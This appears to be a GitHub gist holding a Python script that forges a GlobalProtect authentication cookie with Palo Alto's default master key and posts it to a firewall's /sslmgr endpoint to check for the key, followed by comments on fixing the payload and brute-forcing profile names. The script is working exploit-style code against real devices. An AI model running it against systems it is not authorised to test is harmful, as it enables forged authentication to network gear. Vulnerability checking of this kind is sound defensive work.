check if a PAN firewall is using the default master key when globalprotect is enabled

checkmk.py

from hashlib import md5, sha1
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
import sys, time
import requests

DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8'

class PanCrypt():
    def __init__(self, key=DEFAULT_MASTERKEY):
        backend=default_backend()
        key=self._derivekey(key)
        self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend)
    def _derivekey(self,key): 
        salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork")
        return md5(key+salt).digest()*2
    def _pad(self, d):
        plen=16-(len(d)%16)
        return d+(chr(plen)*plen).encode()
    def _encrypt(self,data): 
        e=self.c.encryptor()
        return e.update(self._pad(data)) + e.finalize()
    def encrypt(self, data):
        v='AQ==' # version 1
        hash=b64encode(sha1(data.encode()).digest()).decode()
        ct=b64encode(self._encrypt(data.encode())).decode()
        return '-'+v+hash+ct

def getPayload(spn):
    email="test@test.test"
    user="test"
    hostid="test"
    expiry=str(int(time.time())+1000000)
    token_pt=":".join((expiry, user, hostid))
    token=PanCrypt().encrypt(token_pt)
    return "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token)

 
resp_default="<msg>Unable to find the configuration</msg>"
resp_params="<msg>Invalid parameters</msg>"
resp_invalid="<msg>Invalid Cookie</msg>"
resp_good="<msg>Unable to generate client certificate</msg>"

resps={
    resp_default:"Default MK",
    resp_params: "Invalid parameters, bug?",
    resp_invalid: "MK is not default",
    resp_good: "Default MK, SCEP enabled and correct scep-profile-name",
}
   
def classify(resp):
    for i in resps:
        if i in resp: return resps[i]
    return "unknown"

if __name__=="__main__":
    if len(sys.argv)<2:
        print("usage: checkmk.py <host>")
    host=sys.argv[1]+"/sslmgr"
    spn="test"
    if len(sys.argv)>2:
        spn=sys.argv[2]
    data=getPayload(spn).encode()
    
    if "http" not in host: host="https://"+host
    #print("curl -k -d '{}' '{}'".format(data, host))
    r=requests.post(host, data=data, headers={"content-type":"application/x-www-form-urlencoded"},verify=False)
    print(r.text)
    print(classify(r.text))

Based on the code, "Unable to find the configuration" is the response expected when the default master key is in use, but SCEP isn't enabled. I'm not sure if that constitutes being vulnerable or not; likely good practice would dictate changing the key away from the default, but maybe it doesn't matter if the vulnerable component (SCEP) isn't in use anyway. Someone with more domain-specific knowledge please correct me if I'm mistaken, though.

"Unable to find the configuration" is the response for when the default master key is in use, unless the SCEP profile is named "test" (hardcoded in the script). The response for invalid SCEP profile name is the same as the response for SCEP not being configured.

And here I was thinking that hard coded creds in network gear was a Cisco playbook.

Having given this a go yesterday, for some odd reason the data payload was being generated as a mahoosiv file (2gb) and after some debugging, it looked like the culprit was

#34 expiry=bytes(int(time.time())+1000000)

So a colleague and I fixed that by using

expiry = struct.pack("<L", int(time.time() + 1000000))

This now does generate a more suitable payload size of 207 bytes
I'm still playing around with this, for example adding what @rqu1 mentioned above about brute-forcing valid names but for now, the code can be found here https://github.com/danielcuthbert/random_scrapers/blob/main/paloaltokeys.py

expiry = struct.pack("<L", int(time.time() + 1000000))

This does the wrong thing. The timestamp should be a textual unix timestamp, not packed. I fixed my script in this gist with
expiry=str(int(time.time())+1000000).encode()

thanks though!

aaah got ya, cool ;)

It's working fine, but using Dan's fork as it was easier to understand result from server.
Thank you both.

Hi Team,

I am just a firewall Administrator. Can Someone share the steps to run this script, please?

Many thanks for considering my request.